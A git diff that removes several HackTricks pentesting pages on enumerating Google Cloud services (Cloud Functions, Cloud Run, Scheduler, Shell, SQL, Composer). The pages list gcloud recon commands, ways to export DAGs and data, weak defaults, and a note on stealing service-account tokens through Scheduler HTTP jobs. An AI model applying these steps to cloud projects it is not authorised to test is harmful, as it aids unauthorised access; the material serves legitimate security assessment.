-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Cloud Functions <a href="#reviewing-cloud-functions" id="reviewing-cloud-functions"></a>
-
-[Google Cloud Functions](https://cloud.google.com/functions/) are designed to host your code, which **gets executed in response to events**, without necessitating the management of a host operating system. Additionally, these functions support the storage of environment variables, which the code can utilize.
-
-### Storage
-
-The Cloud Functions **code is stored in GCP Storage**. Therefore, anyone with **read access over buckets** in GCP is going to be able to **read the Cloud Functions code**.\
-The code is stored in a bucket like one of the following:
-
-* `gcf-sources-<number>-<region>/<function-name>-<uuid>/version-<n>/function-source.zip`
-* `gcf-v2-sources-<number>-<region>/<function-name>function-source.zip`
-
-For example:\
-`gcf-sources-645468741258-us-central1/function-1-003dcbdf-32e1-430f-a5ff-785a6e238c76/version-4/function-source.zip`
-
-{% hint style="warning" %}
-Any user with **read privileges over the bucket** storing the Cloud Function could **read the executed code**.
-{% endhint %}
-
-### Artifact Registry
-
-If the cloud function is configured so the executed Docker container is stored inside and Artifact Registry repo inside the project, anyway with read access over the repo will be able to download the image and check the source code. For more info check:
-
-{% content-ref url="gcp-artifact-registry-enum.md" %}
-[gcp-artifact-registry-enum.md](gcp-artifact-registry-enum.md)
-{% endcontent-ref %}
-
-### SA
-
-If not specified, by default the **App Engine Default Service Account** with **Editor permissions** over the project will be attached to the Cloud Function.
-
-### Triggers, URL & Authentication
-
-When a Cloud Function is created the **trigger** needs to be specified. One common one is **HTTPS**, this will **create an URL where the function** can be triggered via web browsing.\
-Other triggers are pub/sub, Storage, Filestore...
-
-The URL format is **`https://<region>-<project-gcp-name>.cloudfunctions.net/<func_name>`**
-
-When the HTTPS tigger is used, it's also indicated if the **caller needs to have IAM authorization** to call the Function or if **everyone** can just call it:
-
-<figure><img src="../../../.gitbook/assets/image (19).png" alt=""><figcaption></figcaption></figure>
-
-### Inside the Cloud Function
-
-The code is **downloaded inside** the folder **`/workspace`** with the same file names as the ones the files have in the Cloud Function and is executed with the user `www-data`.\
-The disk **isn't mounted as read-only.**
-
-### Enumeration
-
-```bash
-# List functions
-gcloud functions list
-gcloud functions describe <func_name> # Check triggers to see how is this function invoked
-gcloud functions get-iam-policy <func_name>
-
-# Get logs of previous runs. By default, limits to 10 lines
-gcloud functions logs read <func_name> --limit [NUMBER]
-
-# Call a function
-curl https://<region>-<project>.cloudfunctions.net/<func_name>
-gcloud functions call <func_name> --data='{"message": "Hello World!"}'
-
-# If you know the name of projects you could try to BF cloud functions names
-
-# Get events that could be used to trigger a cloud function
-gcloud functions event-types list
-
-# Access function with authentication
-curl -X POST https://<region>-<project>.cloudfunctions.net/<func_name> \
--H "Authorization: bearer $(gcloud auth print-identity-token)" \
--H "Content-Type: application/json" \
--d '{}'
-```
-
-### Privilege Escalation
-
-In the following page, you can check how to **abuse cloud function permissions to escalate privileges**:
-
-{% content-ref url="../gcp-privilege-escalation/gcp-cloudfunctions-privesc.md" %}
-[gcp-cloudfunctions-privesc.md](../gcp-privilege-escalation/gcp-cloudfunctions-privesc.md)
-{% endcontent-ref %}
-
-### Unauthenticated Access
-
-{% content-ref url="../gcp-unauthenticated-enum-and-access/gcp-cloud-functions-unauthenticated-enum.md" %}
-[gcp-cloud-functions-unauthenticated-enum.md](../gcp-unauthenticated-enum-and-access/gcp-cloud-functions-unauthenticated-enum.md)
-{% endcontent-ref %}
-
-### Post Exploitation
-
-{% content-ref url="../gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md" %}
-[gcp-cloud-functions-post-exploitation.md](../gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md)
-{% endcontent-ref %}
-
-### Persistence
-
-{% content-ref url="../gcp-persistence/gcp-cloud-functions-persistence.md" %}
-[gcp-cloud-functions-persistence.md](../gcp-persistence/gcp-cloud-functions-persistence.md)
-{% endcontent-ref %}
-
-## References
-
-* [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#reviewing-stackdriver-logging](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#reviewing-stackdriver-logging)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-run-enum.md b/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-run-enum.md
deleted file mode 100644
index 82989eafc..000000000
--- a/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-run-enum.md
+++ /dev/null
@@ -1,137 +0,0 @@
-# GCP - Cloud Run Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Cloud Run <a href="#reviewing-cloud-run-configurations" id="reviewing-cloud-run-configurations"></a>
-
-Cloud Run is a serverless managed compute platform that lets you **run containers** directly on top of Google's scalable infrastructure.
-
-You can run your container or If you're using Go, Node.js, Python, Java, .NET Core, or Ruby, you can use the [source-based deployment](https://cloud.google.com/run/docs/deploying-source-code) option that **builds the container for you.**
-
-Google has built Cloud Run to **work well together with other services on Google Cloud**, so you can build full-featured applications.
-
-### Services and jobs <a href="#services-and-jobs" id="services-and-jobs"></a>
-
-On Cloud Run, your code can either run continuously as a _**service**_ or as a _**job**_. Both services and jobs run in the same environment and can use the same integrations with other services on Google Cloud.
-
-* **Cloud Run services.** Used to run code that responds to web requests, or events.
-* **Cloud Run jobs.** Used to run code that performs work (a job) and quits when the work is done.
-
-## Cloud Run Service
-
-Google [Cloud Run](https://cloud.google.com/run) is another serverless offer where you can search for env variables also. Cloud Run creates a small web server, running on port 8080 inside the container by default, that sits around waiting for an HTTP GET request. When the request is received, a job is executed and the job log is output via an HTTP response.
-
-### Relevant details
-
-* By **default**, the **access** to the web server is **public**, but it can also be **limited to internal traffic** (VPC...)\
-  Moreover, the **authentication** to contact the web server can be **allowing all** or to **require authentication via IAM**.
-* By default, the **encryption** uses a **Google managed key**, but a **CMEK** (Customer Managed Encryption Key) from **KMS** can also be **chosen**.
-* By **default**, the **service account** used is the **Compute Engine default one** which has **Editor** access over the project and it has the **scope `cloud-platform`.**
-* It's possible to define **clear-text environment variables** for the execution, and even **mount cloud secrets** or **add cloud secrets to environment variables.**
-* It's also possible to **add connections with Cloud SQL** and **mount a file system.**
-* The **URLs** of the services deployed are similar to **`https://<svc-name>-<random>.a.run.app`**
-* A Run Service can have **more than 1 version or revision**, and **split traffic** among several revisions.
-
-### Enumeration
-
-```bash
-# List services
-gcloud run services list
-gcloud run services list --platform=managed
-gcloud run services list --platform=gke
-
-# Get info of a service
-gcloud run services describe --region <region> <svc-name>
-
-# Get info of all the services together
-gcloud run services list --format=yaml
-gcloud run services list --platform=managed --format=json
-gcloud run services list --platform=gke --format=json
-
-# Get policy
-gcloud run services get-iam-policy --region <region> <svc-name>
-
-# Get revisions
-gcloud run revisions list --region <region>
-gcloud run revisions describe --region <region> <revision>
-
-# Get domains
-gcloud run domain-mappings list
-gcloud run domain-mappings describe <name>
-
-# Attempt to trigger a job unauthenticated
-curl <url>
-
-# Attempt to trigger a job with your current gcloud authorization
-curl -H "Authorization: Bearer $(gcloud auth print-identity-token)" <url>
-```
-
-## Cloud Run Jobs
-
-Cloud Run jobs are be a better fit for **containers that run to completion and don't serve requests**. Jobs don't have the ability to serve requests or listen on a port. This means that unlike Cloud Run services, jobs should not bundle a web server. Instead, jobs containers should exit when they are done.
-
-### Enumeration
-
-```bash
-gcloud beta run jobs list
-gcloud beta run jobs describe --region <region> <job-name>
-gcloud beta run jobs get-iam-policy --region <region> <job-name>
-```
-
-## Privilege Escalation
-
-In the following page, you can check how to **abuse cloud run permissions to escalate privileges**:
-
-{% content-ref url="../gcp-privilege-escalation/gcp-run-privesc.md" %}
-[gcp-run-privesc.md](../gcp-privilege-escalation/gcp-run-privesc.md)
-{% endcontent-ref %}
-
-## Unauthenticated Access
-
-{% content-ref url="../gcp-unauthenticated-enum-and-access/gcp-cloud-run-unauthenticated-enum.md" %}
-[gcp-cloud-run-unauthenticated-enum.md](../gcp-unauthenticated-enum-and-access/gcp-cloud-run-unauthenticated-enum.md)
-{% endcontent-ref %}
-
-## Post Exploitation
-
-{% content-ref url="../gcp-post-exploitation/gcp-cloud-run-post-exploitation.md" %}
-[gcp-cloud-run-post-exploitation.md](../gcp-post-exploitation/gcp-cloud-run-post-exploitation.md)
-{% endcontent-ref %}
-
-## Persistence
-
-{% content-ref url="../gcp-persistence/gcp-cloud-run-persistence.md" %}
-[gcp-cloud-run-persistence.md](../gcp-persistence/gcp-cloud-run-persistence.md)
-{% endcontent-ref %}
-
-## References
-
-* [https://cloud.google.com/run/docs/overview/what-is-cloud-run](https://cloud.google.com/run/docs/overview/what-is-cloud-run)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-scheduler-enum.md b/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-scheduler-enum.md
deleted file mode 100644
index 1614bc5d2..000000000
--- a/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-scheduler-enum.md
+++ /dev/null
@@ -1,73 +0,0 @@
-# GCP - Cloud Scheduler Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Basic Information
-
-Google Cloud Scheduler is a fully managed **cron job service** that allows you to run arbitrary jobs—such as batch, big data jobs, cloud infrastructure operations—at fixed times, dates, or intervals. It is integrated with Google Cloud services, providing a way to **automate various tasks like updates or batch processing on a regular schedule**.
-
-Although from an offensive point of view this sounds amazing, it actually isn't that interesting because the service just allow to schedule certain simple actions at a certain time and not to execute arbitrary code.
-
-At the moment of this writing these are the actions this service allows to schedule:
-
-<figure><img src="../../../.gitbook/assets/image (347).png" alt="" width="563"><figcaption></figcaption></figure>
-
-* **HTTP**: Send an HTTP request defining the headers and body of the request.
-* **Pub/Sub**: Send a message into an specific topic
-* **App Engine HTTP**: Send an HTTP request to an app built in App Engine
-* **Workflows**: Call a GCP Workflow.
-
-## Service Accounts
-
-A service account is not always required by each scheduler. The **Pub/Sub** and **App Engine HTTP** types don't require any service account. The **Workflow** does require a service account, but it'll just invoke the workflow.\
-Finally, the regular HTTP type doesn't require a service account, but it's possible to indicate that some kind of auth is required by the workflow and add either an **OAuth token or an OIDC token to the sent** HTTP request.
-
-{% hint style="danger" %}
-Therefore, it's possible to steal the **OIDC** token and abuse the **OAuth** token from service accounts **abusing the HTTP type**. More on this in the privilege escalation page.
-{% endhint %}
-
-Note that it's possible to limit the scope of the OAuth token sent, however, by default, it'll be `cloud-platform`.
-
-## Enumeration
-
-```bash
-# Get schedulers in a location
-gcloud scheduler jobs list --location us-central1
-
-# Get information of an specific scheduler
-gcloud scheduler jobs describe --location us-central1 <scheduler-name>
-```
-
-## Privilege Escalation
-
-{% content-ref url="../gcp-privilege-escalation/gcp-cloudscheduler-privesc.md" %}
-[gcp-cloudscheduler-privesc.md](../gcp-privilege-escalation/gcp-cloudscheduler-privesc.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-shell-enum.md b/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-shell-enum.md
deleted file mode 100644
index d03e8b288..000000000
--- a/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-shell-enum.md
+++ /dev/null
@@ -1,54 +0,0 @@
-# GCP - Cloud Shell Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Basic Information
-
-Google Cloud Shell is an interactive shell environment for Google Cloud Platform (GCP) that provides you with **command-line access to your GCP resources directly from your browser or shell**. It's a managed service provided by Google, and it comes with a **pre-installed set of tools**, making it easier to manage your GCP resources without having to install and configure these tools on your local machine.\
-Moreover, its offered at **no additional cost.**
-
-**Any user of the organization** (Workspace) is able to execute **`gcloud cloud-shell ssh`** and get access to his **cloudshell** environment. However, **Service Accounts can't**, even if they are owner of the organization.
-
-There **aren't** **permissions** assigned to this service, therefore the **aren't privilege escalation techniques**. Also there **isn't any kind of enumeration**.
-
-Note that Cloud Shell can be **easily disabled** for the organization.
-
-### Post Exploitation
-
-{% content-ref url="../gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md" %}
-[gcp-cloud-shell-post-exploitation.md](../gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md)
-{% endcontent-ref %}
-
-### Persistence
-
-{% content-ref url="../gcp-persistence/gcp-cloud-shell-persistence.md" %}
-[gcp-cloud-shell-persistence.md](../gcp-persistence/gcp-cloud-shell-persistence.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-sql-enum.md b/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-sql-enum.md
deleted file mode 100644
index ee69ced5a..000000000
--- a/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-sql-enum.md
+++ /dev/null
@@ -1,115 +0,0 @@
-# GCP - Cloud SQL Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Basic Information
-
-Google Cloud SQL is a managed service that **simplifies setting up, maintaining, and administering relational databases** like MySQL, PostgreSQL, and SQL Server on Google Cloud Platform, removing the need to handle tasks like hardware provisioning, database setup, patching, and backups.
-
-Key features of Google Cloud SQL include:
-
-1. **Fully Managed**: Google Cloud SQL is a fully-managed service, meaning that Google handles database maintenance tasks like patching, updates, backups, and configuration.
-2. **Scalability**: It provides the ability to scale your database's storage capacity and compute resources, often without downtime.
-3. **High Availability**: Offers high availability configurations, ensuring your database services are reliable and can withstand zone or instance failures.
-4. **Security**: Provides robust security features like data encryption, Identity and Access Management (IAM) controls, and network isolation using private IPs and VPC.
-5. **Backups and Recovery**: Supports automatic backups and point-in-time recovery, helping you safeguard and restore your data.
-6. **Integration**: Seamlessly integrates with other Google Cloud services, providing a comprehensive solution for building, deploying, and managing applications.
-7. **Performance**: Offers performance metrics and diagnostics to monitor, troubleshoot, and improve database performance.
-
-### Password
-
-In the web console Cloud SQL allows the user to **set** the **password** of the database, there also a generate feature, but most importantly, **MySQL** allows to **leave an empty password and all of them allows to set as password just the char "a":**
-
-<figure><img src="../../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
-
-It's also possible to configure a password policy requiring **length**, **complexity**, **disabling reuse** and **disabling username in password**. All are disabled by default.
-
-**SQL Server** can be configured with **Active Directory Authentication**.
-
-### Zone Availability
-
-The database can be **available in 1 zone or in multiple**, of course, it's recommended to have important databases in multiple zones.
-
-### Encryption
-
-By default a Google-managed encryption key is used, but it's also **possible to select a Customer-managed encryption key (CMEK)**.
-
-### Connections
-
-* **Private IP**: Indicate the VPC network and the database will get an private IP inside the network
-* **Public IP**: The database will get a public IP, but by default no-one will be able to connect
-  * **Authorized networks**: Indicate public **IP ranges that should be allowed** to connect to the database
-* **Private Path**: If the DB is connected in some VPC, it's possible to enable this option and give **other GCP services like BigQuery access over it**
-
-<figure><img src="../../../.gitbook/assets/image (15).png" alt=""><figcaption></figcaption></figure>
-
-### Data Protection
-
-* **Daily backups**: Perform automatic daily backups and indicate the number of backups you want to maintain.
-* **Point-in-time recovery**: Allows you to recover data from a specific point in time, down to a fraction of a second.
-* **Deletion Protection**: If enabled, the DB won't be able to be deleted until this feature is disabled
-
-### Enumeration
-
-```bash
-# Get SQL instances
-gcloud sql instances list
-gcloud sql instances describe <inst-name> # get IPs, CACert, settings
-
-# Get database names inside an instance (like information_schema, sys...)
-gcloud sql databases list --instance <intance-name>
-gcloud sql databases describe <db-name> --instance <intance-name>
-
-# Get usernames inside the db instance
-gcloud sql users list --instance <intance-name>
-
-# Backups
-gcloud sql backups list --instance <intance-name>
-gcloud sql backups describe <backup-name> --instance <intance-name>
-```
-
-### Unauthenticated Enum
-
-{% content-ref url="../gcp-unauthenticated-enum-and-access/gcp-cloud-sql-unauthenticated-enum.md" %}
-[gcp-cloud-sql-unauthenticated-enum.md](../gcp-unauthenticated-enum-and-access/gcp-cloud-sql-unauthenticated-enum.md)
-{% endcontent-ref %}
-
-### Post Exploitation
-
-{% content-ref url="../gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md" %}
-[gcp-cloud-sql-post-exploitation.md](../gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md)
-{% endcontent-ref %}
-
-### Persistence
-
-{% content-ref url="../gcp-persistence/gcp-cloud-sql-persistence.md" %}
-[gcp-cloud-sql-persistence.md](../gcp-persistence/gcp-cloud-sql-persistence.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-services/gcp-composer-enum.md b/pentesting-cloud/gcp-security/gcp-services/gcp-composer-enum.md
deleted file mode 100644
index f238feb32..000000000
--- a/pentesting-cloud/gcp-security/gcp-services/gcp-composer-enum.md
+++ /dev/null
@@ -1,71 +0,0 @@
-# GCP - Composer Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Basic Information
-
-**Google Cloud Composer** is a fully managed **workflow orchestration service** built on **Apache Airflow**. It enables you to author, schedule, and monitor pipelines that span across clouds and on-premises data centers. With GCP Composer, you can easily integrate your workflows with other Google Cloud services, facilitating efficient data integration and analysis tasks. This service is designed to simplify the complexity of managing cloud-based data workflows, making it a valuable tool for data engineers and developers handling large-scale data processing tasks.
-
-### Enumeration
-
-{% code overflow="wrap" %}
-```bash
-# Get envs info
-gcloud composer environments list --locations <loc>
-gcloud composer environments describe --location <loc> <environment>
-
-# Get list of dags
-gcloud composer environments storage dags list --environment <environment> --location <loc>
-# Download dags code
-mkdir /tmp/dags
-gcloud composer environments storage dags export --environment <environment> --location <loc> --destination /tmp/dags
-
-# List Data from composer
-gcloud composer environments storage data list --environment <environment> --location <loc>
-# Download data
-mkdir /tmp/data
-gcloud composer environments storage data export --environment <environment> --location <loc> --destination /tmp/data
-
-# List Plugins from composer
-gcloud composer environments storage plugins list --environment <environment> --location <loc>
-# Download plugins
-mkdir /tmp/plugins
-gcloud composer environments storage data export --environment <environment> --location <loc> --destination /tmp/plugins
-```
-{% endcode %}
-
-### Privesc
-
-In the following page you can check how to **abuse composer permissions to escalate privileges**:
-
-{% content-ref url="../gcp-privilege-escalation/gcp-composer-privesc.md" %}
-[gcp-composer-privesc.md](../gcp-privilege-escalation/gcp-composer-privesc.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
